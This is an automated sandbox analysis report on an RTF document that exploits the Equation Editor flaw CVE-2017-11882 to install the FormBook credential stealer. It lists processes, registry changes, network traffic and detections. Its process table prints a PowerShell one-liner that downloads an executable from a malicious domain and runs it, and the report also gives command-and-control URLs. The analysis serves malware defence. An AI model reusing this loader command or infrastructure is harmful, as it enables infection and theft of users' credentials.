| File name: | sp.doc |
| Full analysis: | https://app.any.run/tasks/03d06ec3-fed5-4390-a242-eeee8cdf1c33 |
| Verdict: | Malicious activity |
| Threats: | FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus. |
| Analysis date: | June 12, 2019, 06:06:39 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/rtf |
| File info: | Rich Text Format data, version 1, unknown character set |
| MD5: | D378B661BE318409E6481F9A7F6031EF |
| SHA1: | 4FB9A7A20AF7F1EB68B014D8839AC3CF4885E1BD |
| SHA256: | 4F392579F32F432888537B543D9BEEA1D9AA921A75FF0D124217072CF9C9279F |
| SSDEEP: | 768:qu1KfnslbBJh6WL6wdeNeHIN7e9ew3N1jn8lcNLSxywlqNAcLV7JsxoKAhPa9QjP:quksxh6wqz0ZbXQOJnP |
MALICIOUS
Executes PowerShell scripts
- cmd.exe (PID: 3260)
Equation Editor starts application (CVE-2017-11882)
- EQNEDT32.EXE (PID: 3692)
Application was dropped or rewritten from another process
- srO.exe (PID: 300)
- srO.exe (PID: 964)
- srO.exe (PID: 3160)
Downloads executable files from the Internet
- powershell.exe (PID: 2320)
FORMBOOK was detected
- explorer.exe (PID: 2036)
Connects to CnC server
- explorer.exe (PID: 2036)
Changes the autorun value in the registry
- msiexec.exe (PID: 2684)
Actions looks like stealing of personal data
- msiexec.exe (PID: 2684)
Formbook was detected
- msiexec.exe (PID: 2684)
- Firefox.exe (PID: 2088)
Stealing of credential data
- msiexec.exe (PID: 2684)
SUSPICIOUS
Starts CMD.EXE for commands execution
- EQNEDT32.EXE (PID: 3692)
- msiexec.exe (PID: 2684)
Creates files in the user directory
- powershell.exe (PID: 2320)
- msiexec.exe (PID: 2684)
Executed via COM
- EQNEDT32.EXE (PID: 2436)
- EQNEDT32.EXE (PID: 3692)
Executable content was dropped or overwritten
- powershell.exe (PID: 2320)
Application launched itself
- srO.exe (PID: 300)
- srO.exe (PID: 964)
Loads DLL from Mozilla Firefox
- msiexec.exe (PID: 2684)
INFO
Starts Microsoft Office Application
- explorer.exe (PID: 2036)
Application was crashed
- EQNEDT32.EXE (PID: 3692)
Creates files in the user directory
- WINWORD.EXE (PID: 3384)
- Firefox.exe (PID: 2088)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 3384)
Manual execution by user
- msiexec.exe (PID: 2684)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rtf | | | Rich Text Format (28.5) |
|---|
EXIF
RTF
| Author: | Anthony Eayrs |
|---|---|
| LastModifiedBy: | Anthony Eayrs |
| CreateDate: | 2018:11:19 07:33:00 |
| ModifyDate: | 2018:11:19 07:44:00 |
| RevisionNumber: | 1 |
| TotalEditTime: | 7 minutes |
| Pages: | 3 |
| Words: | 2017 |
| Characters: | 11503 |
| CharactersWithSpaces: | 13494 |
| InternalVersionNumber: | 93 |
Total processes
47
Monitored processes
12
Malicious processes
8
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 300 | "C:\Users\admin\AppData\Local\Temp\srO.exe" | C:\Users\admin\AppData\Local\Temp\srO.exe | — | powershell.exe | |||||||||||
User: admin Company: Apple Integrity Level: MEDIUM Description: COdE LAbOrAtORies, InC. Exit code: 0 Version: 1.00 Modules
| |||||||||||||||
| 964 | "C:\Users\admin\AppData\Local\Temp\srO.exe" | C:\Users\admin\AppData\Local\Temp\srO.exe | — | srO.exe | |||||||||||
User: admin Company: Apple Integrity Level: MEDIUM Description: COdE LAbOrAtORies, InC. Exit code: 0 Version: 1.00 Modules
| |||||||||||||||
| 2036 | C:\Windows\Explorer.EXE | C:\Windows\explorer.exe | — | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2088 | "C:\Program Files\Mozilla Firefox\Firefox.exe" | C:\Program Files\Mozilla Firefox\Firefox.exe | msiexec.exe | ||||||||||||
User: admin Company: Mozilla Corporation Integrity Level: MEDIUM Description: Firefox Exit code: 0 Version: 65.0.2 Modules
| |||||||||||||||
| 2320 | PowerShell "try{$QDP=$env:temp+'\srO.exe'; (New-Object System.Net.WebClient).DownloadFile( 'http://azure-pricing.com/EF8BC0.exe', $QDP);(New-Object -com Shell.Application).ShellExecute( $QDP);}catch{}" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2436 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | — | svchost.exe | |||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
| 2684 | "C:\Windows\System32\msiexec.exe" | C:\Windows\System32\msiexec.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3160 | "C:\Users\admin\AppData\Local\Temp\srO.exe" | C:\Users\admin\AppData\Local\Temp\srO.exe | — | srO.exe | |||||||||||
User: admin Company: Apple Integrity Level: MEDIUM Description: COdE LAbOrAtORies, InC. Exit code: 0 Version: 1.00 Modules
| |||||||||||||||
| 3248 | /c del "C:\Users\admin\AppData\Local\Temp\srO.exe" | C:\Windows\System32\cmd.exe | — | msiexec.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3260 | cmd.exe /c PowerShell "try{$QDP=$env:temp+'\srO.exe'; (New-Object System.Net.WebClient).DownloadFile( 'http://azure-pricing.com/EF8BC0.exe', $QDP);(New-Object -com Shell.Application).ShellExecute( $QDP);}catch{}" | C:\Windows\system32\cmd.exe | — | EQNEDT32.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
1 965
Read events
1 171
Write events
784
Delete events
10
Modification events
| (PID) Process: | (3384) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | >:= |
Value: 3E3A3D00380D0000010000000000000000000000 | |||
| (PID) Process: | (3384) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3384) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (3384) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1321992222 | |||
| (PID) Process: | (3384) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1321992336 | |||
| (PID) Process: | (3384) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1321992337 | |||
| (PID) Process: | (3384) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 380D00002E131F09E520D50100000000 | |||
| (PID) Process: | (3384) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 7;= |
Value: 373B3D00380D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3384) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | 7;= |
Value: 373B3D00380D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3384) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
1
Suspicious files
86
Text files
4
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3384 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRE8F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2320 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0MBDXV10WUL5H3BJMTWH.temp | — | |
MD5:— | SHA256:— | |||
| 3384 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2320 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2684 | msiexec.exe | C:\Users\admin\AppData\Roaming\3-0M266A\3-0logim.jpeg | image | |
MD5:— | SHA256:— | |||
| 2088 | Firefox.exe | C:\Users\admin\AppData\Roaming\3-0M266A\3-0logrf.ini | binary | |
MD5:— | SHA256:— | |||
| 2320 | powershell.exe | C:\Users\admin\AppData\Local\Temp\srO.exe | executable | |
MD5:— | SHA256:— | |||
| 964 | srO.exe | C:\Users\admin\AppData\Local\Temp\~DFC2005094ADD35AF1.TMP | binary | |
MD5:— | SHA256:— | |||
| 2320 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF121787.TMP | binary | |
MD5:— | SHA256:— | |||
| 300 | srO.exe | C:\Users\admin\AppData\Local\Temp\~DF0DD7FB85AFF2A7CE.TMP | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
3
Threats
4
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2036 | explorer.exe | GET | 301 | 104.31.75.124:80 | http://www.sandrascheetzwise.com/o447/?TZ=LLeUGEXi/TnkFC8nerQeKdFP8jjvT7mvTtKwYib31bu6HkrzFP/rf1K4VEvb6X8Jqwlf/Q==&Ir=Y2sDGXLhu22tf4J | US | — | — | malicious |
2320 | powershell.exe | GET | 200 | 65.75.169.236:80 | http://azure-pricing.com/EF8BC0.exe | US | executable | 420 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2320 | powershell.exe | 65.75.169.236:80 | azure-pricing.com | NEXCESS.NET L.L.C. | US | suspicious |
2036 | explorer.exe | 104.31.75.124:80 | www.sandrascheetzwise.com | Cloudflare Inc | US | shared |
DNS requests
Domain | IP | Reputation |
|---|---|---|
azure-pricing.com |
| malicious |
www.sandrascheetzwise.com |
| malicious |
www.salasdoepost.com |
| unknown |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2320 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2320 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2036 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (GET) |
1 ETPRO signatures available at the full report